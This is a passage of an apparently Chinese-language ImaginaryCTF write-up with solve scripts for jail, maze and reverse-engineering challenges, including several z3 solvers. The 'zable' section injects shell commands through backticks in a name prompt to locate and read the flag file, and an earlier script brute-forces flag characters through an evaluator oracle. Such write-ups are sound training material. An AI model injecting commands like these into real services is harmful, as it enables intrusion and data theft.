&#39;True-True&#39;<br>        pd = &#39;(ord(flag[{}])-({}))and(fff)&#39;.format(idx1, &#39;+&#39;.join([&#39;True&#39;] * j))<br>        p.sendlineafter(b&#39;Enter input: &#39;, pd.encode())<br>        res = p.recvuntil(b&#39;\n&#39;)[:-1]<br>        if res == b&#39;error&#39;:<br>            continue<br>        else:<br>            out += chr(j)<br>            cnt = True<br>            break<br>    if cnt != True:<br>        print(&quot;{}?&quot;.format(i))<br>    else:<br>        print(out)<br>        # input()<br>print(out)<br>p.interactive()<br># ictf{0k_n1c3_7f4d3e5a6b}</pre><h3>zable</h3><blockquote><strong><em>Description</em></strong><em> There are two types of build systems — the ones people complain about, and the ones nobody uses. </em><strong><em>Attachments</em></strong><em> </em><a href="https://cybersharing.net/s/148aced990c75c7b"><em>https://cybersharing.net/s/148aced990c75c7b</em></a><em> nc zable.chal.imaginaryctf.org 1337</em></blockquote><pre>Enter name: `find / -name flag.txt`<br>Hello, /home/user/.cache/bazel/_bazel_user/8c069df52082beee3c95ca17836fb8e2/execroot/_main/flag.txt<br>/app/flag.txt!</pre><pre>Enter name: `cat /app/flag.txt`<br>Hello, ictf{I_supp0se_if_a_hacker_can_run_bazel_on_your_system_things_are_already_bad}!</pre><h3>Left in the Dark</h3><blockquote><strong><em>Description</em></strong><em> In another challenge, I made a “beautiful” frontend for this maze, but what if you didn’t have any of that? BONK. </em><strong><em>Attachments</em></strong><em> </em><a href="https://cybersharing.net/s/f79f258f3799817c"><em>https://cybersharing.net/s/f79f258f3799817c</em></a></blockquote><pre>socat FILE:`tty`,raw,echo=0 TCP:left-in-the-dark.chal.imaginaryctf.org:1337</pre><pre>from pwn import *<br>import sys<br>import time<br>sys.setrecursionlimit(1000000)</pre><pre>context.log_level = &#39;debug&#39;</pre><pre>p = remote(&quot;left-in-the-dark.chal.imaginaryctf.org&quot;, 1337)<br># p = process([&quot;./ctf/bin/python3&quot;, &quot;./exp.py&quot;])</pre><pre>directions = [&#39;w&#39;, &#39;a&#39;, &#39;s&#39;, &#39;d&#39;]<br>ox = 1<br>oy = 1<br>n = 40<br>maze = [[-1 for y in range(oy+n+1)] for x in range(ox+n+1)]<br>dx = [-1,0,1,0]<br>dy = [0,-1,0,1]<br></pre><pre>def show(x, y):<br>    print()<br>    for i in range(0, ox+n+1):<br>        for j in range(0, oy+n+1):<br>            if i == x and y == j:<br>                print(&quot;.&quot;, end=&quot;&quot;)<br>                continue<br>            if maze[i][j] == 0:<br>                print(&quot; &quot;, end=&quot;&quot;)<br>            elif maze[i][j] == 1:<br>                print(&quot;#&quot;, end=&quot;&quot;)<br>            else:<br>                print(&quot;M&quot;, end=&quot;&quot;)<br>        print()<br></pre><pre>def send_command(direction: str):<br>    p.sendline((direction + &quot;\r&quot;).encode())<br>    try:<br>        return p.recvuntil(b&#39;\r\n&#39;, timeout=0.8).strip()<br>    except:<br>        return b&#39;&#39;<br></pre><pre>def dfs(_x, _y):<br>    maze[_x][_y] = 0<br>    for ii in range(0, 4):<br>        xx = _x + dx[ii]<br>        yy = _y + dy[ii]<br>        if maze[xx][yy] != -1 or xx == 0 or xx == n+1 or yy == 0 or yy == n+1:<br>            continue<br>        _tmp = send_command(directions[ii])<br>        if _tmp == b&quot;BONK&quot;:<br>            _tmp = send_command(directions[ii])<br>            if _tmp == b&quot;BONK&quot;:<br>                maze[xx][yy] = 1<br>                continue<br>        elif _tmp == b&quot;F&quot;:<br>            print(p.recv())<br>            exit(0)<br>        dfs(xx, yy)<br>        if ii &amp; 1:<br>            send_command(directions[4 - ii])<br>        else:<br>            send_command(directions[2 - ii])<br>    return _x, _y<br></pre><pre>p.recvuntil(&#39;WASD to move.\r\n&#39;)<br>p.sendline(&quot;\r&quot;)<br>position = dfs(ox, oy)<br>show(position[0], position[1])<br>p.interactive()<br># ictf{glad_you_f0und_the_right_way_to_the_exit}</pre><h3>Reverse</h3><h3>unoriginal</h3><blockquote><strong><em>Description</em></strong><em> Can you reverse this flag mangler? The output is b4,31,8e,02,af,1c,5d,23,98,7d,a3,1e,b0,3c,b3,c4,a6,06,58,28,19,7d,a3,c0,85,31,68,0a,bc,03,5d,3d,0b The input only contains lowercase letters, numbers, underscore, and braces . </em><strong><em>Attachments</em></strong><em> </em><a href="https://cybersharing.net/s/9d9e51acc89fe230"><em>https://cybersharing.net/s/9d9e51acc89fe230</em></a></blockquote><pre>print(&#39;&#39;.join([chr(ord(i)^5) for i in &#39;lfqc~opvqZdkjqm`wZcidbZfm`fn`wZd6130a0`0``761gdx&#39;]))<br>#ictf{just_another_flag_checker_a3465d5e5ee234ba}</pre><h3>BF</h3><blockquote><strong><em>Description</em></strong><em> Simple equations… but in BF?!!! </em><strong><em>Attachments</em></strong><em> </em><a href="https://cybersharing.net/s/3c057ae67ff81f6e"><em>https://cybersharing.net/s/3c057ae67ff81f6e</em></a></blockquote><p>将给的BF转成python代码，发现只需要做简单的加减乘运算就行</p><pre>def shrinkBFCode(code):<br>    cPos2Vars = {}   #位置对应的变量<br>    cPos2Change = {}  #位置中 + 号 增加的值<br>    varPos = 0<br>    nCode = []<br>    incVal = 0<br>    lc = None<br>    dataChangeOp = set([&#39;+&#39;, &#39;-&#39;])<br>    dataShiftOp = set([&#39;&gt;&#39;, &#39;&lt;&#39;])<br>    for i in range(len(code)):<br>        c = code[i]<br>        if c not in dataChangeOp and lc in dataChangeOp:<br>            cPos2Change[len(nCode)] = incVal<br>            cPos2Vars[len(nCode)] = varPos<br>            nCode.append(&#39;+&#39;)<br>            incVal = 0<br>        if c == &#39;&gt;&#39;:<br>            varPos += 1<br>        elif c == &#39;&lt;&#39;:<br>            varPos -= 1<br>        else:<br>            if c in dataChangeOp:<br>                incVal += 1 if c == &#39;+&#39; else -1<br>            else:<br>                #if lc == &#39;&gt;&#39; or lc == &#39;&lt;&#39;:<br>                #    cPos2Vars[len(nCode)] = varPos<br>                cPos2Vars[len(nCode)] = varPos<br>                nCode.append(c)<br>        lc = c<br>    return &#39;&#39;.join(nCode), cPos2Vars, cPos2Change<br>def generatePyCode(shellCode, pVars, pChange):<br>    pyCodes = []<br>    bStacks = []<br>    whileVarCache = {}<br>    for i, c in enumerate(shellCode):<br>        d_pos = i if i not in pVars else pVars[i]<br>        d_change = 1 if i not in pChange else pChange[i]<br>        indentLevel = len(bStacks)<br>        indentStr = &#39; &#39;*(4*indentLevel)<br>        if c == &#39;[&#39;:<br>            pyCodes.append(&#39;{}while data[{}] != 0:&#39;.format(indentStr, d_pos))<br>            bStacks.append((c, i))<br>            whileVarCache[i] = {}<br>        elif c == &#39;]&#39;:<br>            if bStacks[-1][0] != &#39;[&#39;:<br>                raise Exception(&#39;miss match of {}] found between {} and {}&#39;.format(bStacks[-1][0], bStacks[-1][1], i))<br>            cNum = i-bStacks[-1][1]<br>            if cNum == 2:<br>                del pyCodes[-1]<br>                del pyCodes[-1]<br>                d_pos_l = i-1 if i-1 not in pVars else pVars[i-1]<br>                pyCodes.append(&#39;{}data[{}] = 0&#39;.format(&#39; &#39;*(4*(indentLevel-1)), d_pos_l))<br>            whileCode = shellCode[bStacks[-1][1]+1 : i]<br>            if cNum&gt;2 and &#39;[&#39; not in whileCode and not &#39;%&#39; in whileCode:  # nested loop is a bit complicated, just skip<br>                loopCondvar = bStacks[-1][1]<br>                d_pos_l = loopCondvar if loopCondvar not in pVars else pVars[loopCondvar]<br>                whileVars = whileVarCache[bStacks[-1][1]]<br>                cVarChange = whileVars[d_pos_l]<br>                # remove statement of same indent<br>                while len(pyCodes)&gt;0 and pyCodes[-1].startswith(indentStr) and pyCodes[-1][len(indentStr)]!=&#39; &#39;:<br>                    pyCodes.pop()<br>                pyCodes.pop()<br>                #del pyCodes[bStacks[-1][1]-i:]<br>                for vPos, vChange in whileVars.items():<br>                    if vPos == d_pos_l:<br>                        continue<br>                    ctimes = abs(vChange / cVarChange)<br>                    ctimesStr = &#39;&#39; if ctimes==1 else &#39;{}*&#39;.format(ctimes)<br>                    cSign = &#39;+&#39; if vChange &gt; 0 else &#39;-&#39;<br>                    pyCodes.append(&#39;{}data[{}] {}= {}data[{}]&#39;.format(&#39; &#39;*(4*(indentLevel-1)),<br>                                                                        vPos, cSign,  ctimesStr, d_pos_l))<br>                pyCodes.append(&#39;{}data[{}] = 0&#39;.format(&#39; &#39;*(4*(indentLevel-1)), d_pos_l))<br>            del whileVarCache[bStacks[-1][1]]<br>            bStacks.pop()<br>        elif c == &#39;.&#39;:<br>            pyCodes.append(&#39;{}print(data[{}])&#39;.format(indentStr, d_pos))<br>        elif c == &#39;,&#39;:<br>            pyCodes.append(&#39;{}data[{}] = ord(stdin.read(1))&#39;.format(indentStr, d_pos))<br>        elif c == &#39;+&#39;:<br>            opSign = &#39;-=&#39; if d_change &lt; 0 else &#39;+=&#39;<br>            if pyCodes and pyCodes[-1] == &#39;{}data[{}] = 0&#39;.format(indentStr, d_pos):<br>                pyCodes[-1] = &#39;{}data[{}] = {}&#39;.format(indentStr, d_pos, d_change)<br>            else:<br>                pyCodes.append(&#39;{}data[{}] {} {}&#39;.format(indentStr, d_pos, opSign, abs(d_change)))<br>            if bStacks:<br>                whileVarCache[bStacks[-1][1]].setdefault(d_pos, 0)<br>                whileVarCache[bStacks[-1][1]][d_pos] += d_change<br>        elif c == &#39;-&#39;:<br>            opSign = &#39;+=&#39; if d_change &lt; 0 else &#39;-=&#39;<br>            if pyCodes and pyCodes[-1] == &#39;{}data[{}] = 0&#39;.format(indentStr, d_pos):<br>                pyCodes[-1] = &#39;{}data[{}] = {}&#39;.format(indentStr, d_pos, -d_change)<br>            else:<br>                pyCodes.append(&#39;{}data[{}] {} {}&#39;.format(indentStr, d_pos, opSign, abs(d_change)))<br>            if bStacks:<br>                whileVarCache[bStacks[-1][1]].setdefault(d_pos, 0)<br>                whileVarCache[bStacks[-1][1]][d_pos] -= d_change<br>        elif c == &#39;%&#39;:<br>            pyCodes.append(&#39;{}data[{}] %= data[{}]&#39;.format(indentStr, d_pos, d_pos+1))<br>    return &#39;\n&#39;.join(pyCodes)<br>target=&#39;,&gt;&gt;+++++++++++[&lt;+++&gt;-]&lt;[-&lt;+&gt;]&lt;------------------------------------------------------------------------------------------------------------------------------------------[&gt;&lt;],&gt;&gt;++++++++++[&lt;+++++++&gt;-]&lt;[-&lt;+&gt;]&lt;-------------------------------------------------------------------------------------------------------------------------------------------------------------------------[&gt;&lt;],&gt;&gt;+++++++++++[&lt;++++&gt;-]&lt;[-&lt;+&gt;]&lt;----------------------------------------------------------------------------------------------------------------------------------------------------------------[&gt;&lt;],&gt;&gt;++++++++++[&lt;+++++++&gt;-]&lt;[-&lt;+&gt;]&lt;----------------------------------------------------------------------------------------------------------------------------------------------------------------------------[&gt;&lt;],&gt;&gt;+++++++++++++++++[&lt;+++&gt;-]&lt;[-&lt;+&gt;]&lt;------------------------------------------------------------------------------------------------------------------------------------------------------------------------------[&gt;&lt;],&gt;&gt;++++++++[&lt;++++++++&gt;-]&lt;[-&lt;+&gt;]&lt;-----------------------------------------------------------------------------------------------------------------[&gt;&lt;],&gt;&gt;+++++++++++++[&lt;+++++&gt;-]&lt;[-&lt;+&gt;]&lt;----------------------------------------------------------------------------------------------------------------------------------------------------------------[&gt;&lt;],&gt;&gt;+++++++++++[&lt;++++&gt;-]&lt;[-&lt;+&gt;]&lt;----------------------------------------------------------------------------------------------------------------------------------------------------[&gt;&lt;],&gt;&gt;++++++[&lt;+++++&gt;-]&lt;[-&lt;+&gt;]&lt;----------------------------------------------------------------------------------[&gt;&lt;],&gt;&gt;+++++++++++[&lt;+++++&gt;-]&lt;[-&lt;+&gt;]&lt;---------------------------------------------------------------------------------------------------------------------------------------------------------------------------[&gt;&lt;],&gt;&gt;+++++++++[&lt;+++++++&gt;-]&lt;[-&lt;+&gt;]&lt;------------------------------------------------------------------------------------------------------------------[&gt;&lt;],&gt;&gt;+++++++++++[&lt;+++&gt;-]&lt;[-&lt;+&gt;]&lt;--------------------------------------------------------------------------------------------------------------------------------[&gt;&lt;],&gt;&gt;+++++++++++++++++[&lt;+++&gt;-]&lt;[-&lt;+&gt;]&lt;------------------------------------------------------------------------------------------------------[&gt;&lt;],&gt;&gt;+++++++++++[&lt;+++++&gt;-]&lt;[-&lt;+&gt;]&lt;--------------------------------------------------------------------------------------------------------------------------------------------------------------------------[&gt;&lt;],&gt;&gt;++++++++[&lt;+++++++&gt;-]&lt;[-&lt;+&gt;]&lt;--------------------------------------------------------------------------------------------------------[&gt;&lt;],&gt;&gt;++++++[&lt;+++++&gt;-]&lt;[-&lt;+&gt;]&lt;------------------------------------------------------------------------------------------------------------------------------------------[&gt;&lt;],&gt;&gt;++++++++[&lt;+++++++&gt;-]&lt;[-&lt;+&gt;]&lt;------------------------------------------------------------------------------------------------------------[&gt;&lt;],&gt;&gt;+++++++++[&lt;+++++++&gt;-]&lt;[-&lt;+&gt;]&lt;-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------[&gt;&lt;],&gt;&gt;++++++[&lt;+++++&gt;-]&lt;[-&lt;+&gt;]&lt;-------------------------------------------------------------------------------------------------------------------------------------[&gt;&lt;],&gt;&gt;+++++++++[&lt;+++++&gt;-]&lt;[-&lt;+&gt;]&lt;--------------------------------------------------------------------------------------------------[&gt;&lt;],&gt;&gt;++++++++++[&lt;+++++&gt;-]&lt;[-&lt;+&gt;]&lt;-------------------------------------------------------------------------------------------------------------------------------------------------[&gt;&lt;],&gt;&gt;++++++++++[&lt;+++++++&gt;-]&lt;[-&lt;+&gt;]&lt;-----------------------------------------------------------------------------------------------------------------------------[&gt;&lt;],&gt;&gt;++++++++++[&lt;+++++++&gt;-]&lt;[-&lt;+&gt;]&lt;--------------------------------------------------------------------------------------------------------------------------------------------------------------------------[&gt;&lt;],&gt;&gt;++++++++++[&lt;++++++&gt;-]&lt;[-&lt;+&gt;]&lt;----------------------------------------------------------------------------------------------------------------[&gt;&lt;],&gt;&gt;+++++++++++++++++[&lt;+++&gt;-]&lt;[-&lt;+&gt;]&lt;---------------------------------------------------------------------------------------------------------------------------------------------------------[&gt;&lt;],&gt;&gt;+++++++++++[&lt;++++&gt;-]&lt;[-&lt;+&gt;]&lt;-----------------------------------------------------------------------------------------------[&gt;&lt;],&gt;&gt;+++++++++++++++++++++++[&lt;++&gt;-]&lt;[-&lt;+&gt;]&lt;-----------------------------------------------------------------------------------------------------------------------------------------------[&gt;&lt;],&gt;&gt;+++++++++++++++++++++++[&lt;+++&gt;-]&lt;[-&lt;+&gt;]&lt;----------------------------------------------------------------------------------------------------------------------[&gt;&lt;],&gt;&gt;+++++++++++++++++++[&lt;+++&gt;-]&lt;[-&lt;+&gt;]&lt;-----------------------------------------------------------------------------------------------------------------------------------------------------------[&gt;&lt;],&gt;&gt;++++++[&lt;+++++&gt;-]&lt;[-&lt;+&gt;]&lt;-----------------------------------------------------------------------------------------------------------------------------------------------------------[&gt;&lt;]&#39;<br>shrinkCode, pVars, pChange = shrinkBFCode(target)<br>print(generatePyCode(shrinkCode, pVars, pChange))</pre><p>太菜了，不会写脚本处理，直接一个个手算</p><pre>flag=[138-3*11,169-7*10,160-11*4,172-7*10,174-17*3,113-8*8,160-5*13,148-11*4,82-5*6,171-5*11,114-9*7,128-3*11,102-3*17,170-5*11,104-7*8,138-5*6,108-7*8,173-9*7,133-5*6,98-5*9,145-5*10,125-10*7,170-10*7,112-6*10,153-17*3,95-4*11,143-23*2,118-23*3,155-19*3,155-5*6]<br>print(&#39;&#39;.join(chr(x) for x in flag))<br>#ictf{1_h4t3_3s0l4ng5_7d4f3a1b}</pre><h3>watchdog (未解出)</h3><blockquote><em>The keepers of the Watchdog vault have forgotten their password. Can you help them retrieve it? 看门狗金库的管理员忘记了他们的密码。你能帮他们找回它吗？</em></blockquote><p>附件拖入ida</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*lBaFOtTlbmxIyBMe" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/0*i5esWuGPwedcqyjq" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/0*UYCI9CMNHhxJm7EY" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/827/0*qmjyk7qASiTTSESw" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*vpSt3E86U9KdVlH8" /></figure><p>用z3试着爆。脚本</p><pre>import z3</pre><pre>length=43</pre><pre>a=[z3.BitVec(&#39;a{}&#39;.format(i),8) for i in range(length)]</pre><pre>x=z3.Solver()<br>    <br># for i in range(length):<br>#     x.add(a[i]&gt;=32)<br>#     x.add(a[i]&lt;=125)</pre><pre># 定义字符的ASCII码范围<br>for i in range(5,length-1):<br>    char=a[i]<br>    is_digit = z3.And(z3.UGE(char, ord(&#39;0&#39;)), z3.ULE(char, ord(&#39;9&#39;)))<br>    is_uppercase = z3.And(z3.UGE(char, ord(&#39;A&#39;)), z3.ULE(char, ord(&#39;Z&#39;)))<br>    is_lowercase = z3.And(z3.UGE(char, ord(&#39;a&#39;)), z3.ULE(char, ord(&#39;z&#39;)))<br>    is_special = z3.Or(char == ord(&#39;_&#39;))<br>    constraints = z3.Or(is_digit, is_uppercase, is_lowercase, is_special)<br>    x.add(constraints)</pre><pre>     <br>x.add(a[0]==ord(&#39;i&#39;))<br>x.add(a[1]==ord(&#39;c&#39;))<br>x.add(a[2]==ord(&#39;t&#39;))<br>x.add(a[3]==ord(&#39;f&#39;))<br>x.add(a[4]==ord(&#39;{&#39;))</pre><pre>s1=[0x348A627D10659,0x27485A840365FE61,0x9E735DADF26D31CD,0x82714BC9F9B579D9,0x3DFB7CC801D16BC9,0x602A04EFE5DAD659,0x0EB801D915A30D3D,0x217DBE10EDCB20A1,0x0ADEE2637E875CA19,0x0CD44AED238E9871,0x0D3BFF76AE6B504D,0x7181426EFF59E789,0x477616CB20C2DAC9,0x0CE1206E1E46CE4A9,0x946E7CB964A3F87D,0x499607CBF0C3291,0x6871D4372347C759,0x75412F56B7D8B01,0x0F8E57C264786E34D,0x194CA6020EC505B9,0x3E1A22E34FE84949,0x0A46DE25172742B79,0x0CD0E971BCBFE6E3D,0x56561961138A2501,0x78D2B538AB53CA19,0x0A9980CA75AB6D611,0x5F81576B5D4716CD,0x17B9860825B93469,0x0C012F75269298349,0x17373EE9C7A3AAC9,0x0B2E50798B11E1A7D,0x0ADA5A6562E0FD7F1,0x0EC3D9A68F1C99E59,0x3D828B35505D79A1,0x0F76E5264F7BD16CD,0x0DD230B3EC48ED399,0x80D93363DCD354C9,0x7031567681E76299,0x8977338CD4E2A93D,0x8A5708A1D4C02B61,0x2066296A21501019,0x9E260D94A4D775B1,0x0E7667BBD72280F4D,0x12DF4035E1684349]<br>for i in range(2,length+3):<br>    tmp = z3.BitVec(&#39;tmp_{}&#39;.format(i), 64)<br>    tmp = 0<br>    for j in range(0x2a,-1,-1):<br>        temp = z3.BitVec(&#39;temp_{}&#39;.format(i),64)<br>        temp = pow(i,j) &amp;0xffffffffffffffff<br>        tmp += a[0x2b-j-1]*temp<br>    x.add(tmp == s1[i-2])<br></pre><pre>if x.check()==z3.sat:<br>    print(&quot;success&quot;)<br>    m=x.model()<br>    for i in a:<br>        if m[i] is not None:<br>                print(chr(m[i].as_long()),end=&#39;&#39;)<br>    print(&quot;&quot;)<br>else:<br>    print(&quot;failed&quot;)</pre><h3>Rust</h3><blockquote><strong><em>Description</em></strong><em> Rust! Enjoy 😃 Note: The message that produces the provided encryption is the flag. </em><strong><em>Attachments</em></strong><em> </em><a href="https://cybersharing.net/s/4a47f2774279abd1"><em>https://cybersharing.net/s/4a47f2774279abd1</em></a></blockquote><p>附件拖入ida</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*8jyfPufiMjuSNtGW" /></figure><p>rust程序，向下翻，有一个encrypt函数</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*c8EgLmQkT7A8-gpO" /></figure><p>调试发现关键部分</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*flMkugRhumDDYuN7" /></figure><p>解释一下过程：输入的message中的每一个字符看成是128位的整数，key也是一个128位的大整数，经过移位、异或、取反后才得到的密文。具体的可以自己调试一遍就清楚了，里面那个异或是message的高64位异或key的低64位，低64位异或高64位，比较坑。脚本</p><pre>s1=[-42148619422891531582255418903, -42148619422891531582255418927, -42148619422891531582255418851, -42148619422891531582255418907, -42148619422891531582255418831, -42148619422891531582255418859, -42148619422891531582255418855, -42148619422891531582255419111, -42148619422891531582255419103, -42148619422891531582255418687, -42148619422891531582255418859, -42148619422891531582255419119, -42148619422891531582255418843, -42148619422891531582255418687, -42148619422891531582255419103, -42148619422891531582255418907, -42148619422891531582255419107, -42148619422891531582255418915, -42148619422891531582255419119, -42148619422891531582255418935, -42148619422891531582255418823]<br># print(len(s1))<br># print(hex(s1[0]&amp;(2**128-1)))        #0xffffffff77cf7aaab8c8c7c97de7b1e9</pre><pre># num = s1[0]<br># num_bits = num &amp; ((1 &lt;&lt; 128) - 1)   <br># tmp = ~num_bits &amp; ((1 &lt;&lt; 128) - 1)<br># hex_result = hex(tmp)<br># print(hex_result)                   #0x883085554737383682184e16             取反后的值<br># tmp-=0x539<br># print(hex(tmp))                     #0x8830855547373836821848dd             取反再减0x539的值<br># tmp^=0x1a4<br># print(hex(tmp))                     #0x883085554737383682184979             异或前的值，即key</pre><pre>for i in range(len(s1)):<br>    num = s1[i]<br>    num_bits = num &amp; ((1 &lt;&lt; 128) - 1)   <br>    tmp = ~num_bits &amp; ((1 &lt;&lt; 128) - 1)<br>    tmp-=0x539<br>    tmp^=0x883085554737383682184979<br>    tmp&gt;&gt;=2<br>    print(chr(tmp),end=&#39;&#39;)<br>print(&#39;&#39;)<br>#ictf{ru57_r3v_7f4d3a}</pre><h3>Absolute Flag Checker</h3><blockquote><em>What’s easier way than verifying flag contents more times than required? 有什么方法比不按要求多次验证标志内容更简单？</em></blockquote><p>附件拖入ida</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*xs7R3iM38AbW_4n4" /></figure><p>相当多的等式，正则处理完考虑用z3爆。脚本。大概需要七八分钟吧</p><pre>import z3</pre><pre>length=47</pre><pre>a=[z3.Int(&#39;a{}&#39;.format(i)) for i in range(length)]</pre><pre>x=z3.Solver()</pre><pre>for i in range(length):<br>    x.add(a[i]&gt;=32)<br>    x.add(a[i]&lt;=127)</pre><pre>x.add(a[0]==ord(&#39;i&#39;))<br>x.add(a[1]==ord(&#39;c&#39;))<br>x.add(a[2]==ord(&#39;t&#39;))<br>x.add(a[3]==ord(&#39;f&#39;))<br>x.add(a[4]==ord(&#39;{&#39;))</pre><pre>v3=487*a[30]+188*a[29]+145*a[28]+365*a[27]+132*a[26]+635*a[25]+278*a[24]+931*a[23]+871*a[22]+954*a[21]+260*a[20]+246*a[19]+71*a[18]+845*a[17]+357*a[16]+669*a[15]+567*a[14]+659*a[13]+610*a[10]+996*a[9]+411*a[8]+888*a[7]+515*a[6]+826*a[5]+584*a[4]+812*a[3]+426*a[2]+290*a[1]+660*a[0]+139*a[11]+21*a[12]+524*a[31];<br>x.add(740*a[45]+338*a[44]+317*a[43]+626*a[42]+680*a[41]+335*a[40]+575*a[39]+448*a[38]+621*a[37]+330*a[36]+151*a[35]+951*a[34]+525*a[33]+v3+160*a[32]+813*a[46]==2418373)<br>v4=506*a[40]+882*a[39]+880*a[38]+877*a[37]+298*a[36]+195*a[35]+984*a[34]+706*a[33]+422*a[32]+125*a[31]+641*a[30]+651*a[29]+859*a[28]+629*a[27]+220*a[26]+925*a[25]+62*a[24]+212*a[23]+323*a[22]+725*a[21]+660*a[20]+853*a[19]+477*a[18]+374*a[17]+899*a[16]+953*a[15]+462*a[14]+195*a[13]+472*a[12]+909*a[11]+162*a[10]+222*a[9]+281*a[8]+799*a[7]+1018*a[6]+738*a[5]+205*a[4]+444*a[3]+886*a[2]+573*a[1]+9*a[0]+677*a[41]+13*a[42];<br>x.add( 35 * a[44] + 267 * a[43] + v4 + 917 * a[45] + 576 * a[46] == 2519130 )<br>v5=335*a[30]+54*a[29]+262*a[28]+867*a[27]+51*a[26]+430*a[25]+490*a[24]+69*a[23]+494*a[22]+245*a[21]+103*a[20]+540*a[19]+956*a[18]+475*a[17]+687*a[16]+658*a[15]+521*a[14]+205*a[13]+112*a[12]+808*a[11]+79*a[10]+731*a[9]+713*a[8]+996*a[7]+50*a[6]+523*a[5]+393*a[4]+59*a[3]+988*a[2]+479*a[1]+425*a[0]+315*a[31];<br>x.add(891*a[45]+621*a[44]+563*a[43]+811*a[42]+896*a[41]+807*a[40]+631*a[39]+682*a[38]+996*a[37]+861*a[36]+207*a[35]+667*a[34]+392*a[33]+v5+576*a[32]+529*a[46]==2410525)<br>v6=160*a[8]+790*a[6]+941*a[5]+1001*a[4]+498*a[3]+786*a[2]+588*a[1]+(a[0]*64)+429*a[7];<br>x.add(148*a[45]+115*a[44]+452*a[43]+816*a[42]+872*a[41]+682*a[40]+498*a[39]+629*a[38]+415*a[37]+744*a[36]+557*a[35]+946*a[34]+987*a[33]+178*a[32]+238*a[31]+333*a[30]+627*a[29]+678*a[28]+1019*a[27]+916*a[26]+372*a[25]+293*a[24]+899*a[23]+263*a[22]+472*a[21]+832*a[20]+123*a[19]+742*a[18]+4*a[17]+486*a[16]+569*a[15]+505*a[14]+903*a[13]+333*a[12]+848*a[11]+925*a[10]+v6+15*a[9]+340*a[46]==2636936)<br>v7=5*a[8]+514*a[6]+823*a[5]+67*a[4]+609*a[3]+383*a[2]+874*a[1]+666*a[0]+605*a[7]+21*a[9]+314*a[10];<br>x.add(610*a[45]+658*a[44]+936*a[43]+(a[42]*512)+880*a[41]+378*a[40]+204*a[39]+228*a[38]+91*a[37]+189*a[36]+98*a[35]+313*a[34]+238*a[33]+700*a[32]+559*a[31]+56*a[30]+892*a[29]+342*a[28]+973*a[27]+381*a[26]+138*a[25]+517*a[24]+507*a[23]+324*a[22]+193*a[21]+309*a[20]+547*a[19]+996*a[18]+274*a[17]+230*a[16]+43*a[15]+651*a[14]+296*a[13]+645*a[12]+v7+127*a[11]+188*a[46]==2001991)<br>v8=111*a[42]+692*a[41]+279*a[40]+456*a[39]+926*a[38]+716*a[37]+535*a[36]+389*a[35]+565*a[34]+331*a[33]+171*a[32]+782*a[31]+764*a[30]+1001*a[29]+633*a[28]+847*a[27]+861*a[26]+296*a[25]+317*a[24]+901*a[23]+597*a[22]+175*a[21]+335*a[20]+441*a[19]+411*a[18]+741*a[17]+114*a[16]+632*a[15]+273*a[14]+976*a[13]+222*a[12]+982*a[11]+105*a[10]+301*a[9]+142*a[8]+420*a[7]+795*a[6]+978*a[5]+204*a[4]+751*a[3]+645*a[2]+67*a[1]+509*a[0];<br>x.add( 760 * a[45] + 457 * a[44] + 1020 * a[43] + v8 + 985 * a[46] == 2616456 )<br>v9=542*a[38]+401*a[37]+811*a[36]+271*a[35]+111*a[34]+208*a[33]+753*a[32]+637*a[31]+151*a[30]+504*a[29]+886*a[28]+707*a[27]+480*a[26]+639*a[25]+183*a[24]+1011*a[23]+746*a[22]+107*a[21]+45*a[20]+330*a[19]+583*a[18]+541*a[17]+905*a[16]+925*a[15]+596*a[14]+601*a[13]+174*a[12]+153*a[9]+750*a[8]+204*a[7]+738*a[6]+402*a[5]+391*a[4]+153*a[3]+862*a[2]+862*a[0]+5*a[1]+88*a[10]+5*a[11]+873*a[39];<br>x.add( 176 * a[45] + 421 * a[44] + 399 * a[43] + 83 * a[42] + 966 * a[41] + v9 + 37 * a[40] + 409 * a[46] == 2226206 )<br>v10=942*a[26]+52*a[25]+468*a[24]+298*a[23]+438*a[22]+301*a[21]+549*a[20]+607*a[19]+699*a[18]+313*a[17]+932*a[16]+628*a[15]+209*a[14]+972*a[13]+398*a[12]+506*a[11]+940*a[10]+377*a[9]+450*a[8]+245*a[7]+560*a[6]+880*a[5]+236*a[4]+382*a[3]+59*a[2]+54*a[1]+237*a[0]+606*a[27];<br>x.add(647*a[45]+759*a[44]+585*a[43]+904*a[42]+791*a[41]+690*a[40]+438*a[39]+463*a[38]+981*a[37]+577*a[36]+314*a[35]+238*a[34]+796*a[33]+918*a[32]+385*a[31]+743*a[30]+444*a[29]+v10+36*a[28]+446*a[46]==2438804)<br>v11=295*a[29]+535*a[28]+250*a[27]+152*a[26]+108*a[25]+498*a[24]+430*a[23]+484*a[22]+628*a[21]+961*a[20]+540*a[19]+579*a[18]+61*a[17]+468*a[16]+612*a[15]+124*a[14]+1004*a[13]+964*a[12]+311*a[11]+34*a[10]+948*a[9]+720*a[8]+616*a[7]+534*a[6]+773*a[5]+376*a[4]+431*a[3]+575*a[2]+503*a[1]+601*a[0]+302*a[30];<br>x.add(270*a[45]+459*a[44]+331*a[43]+248*a[42]+177*a[41]+470*a[40]+14*a[39]+110*a[38]+724*a[37]+(a[36]*512)+402*a[35]+522*a[34]+29*a[33]+524*a[32]+v11+37*a[31]+364*a[46]==2107275)<br>v12=221*a[42]+289*a[39]+14*a[38]+595*a[37]+397*a[36]+374*a[35]+555*a[34]+730*a[33]+723*a[32]+445*a[29]+209*a[28]+957*a[27]+116*a[26]+261*a[25]+786*a[24]+699*a[23]+189*a[22]+(a[21]*64)+590*a[20]+162*a[19]+191*a[18]+854*a[17]+880*a[16]+329*a[15]+582*a[14]+170*a[13]+745*a[12]+260*a[11]+152*a[10]+628*a[9]+54*a[8]+549*a[7]+683*a[6]+861*a[5]+430*a[4]+948*a[3]+909*a[2]+602*a[1]+144*a[0]+947*a[30]+21*a[31]+975*a[40]+3*a[41];<br>x.add( 332 * a[45] + v12 + 868 * a[43] + 63 * 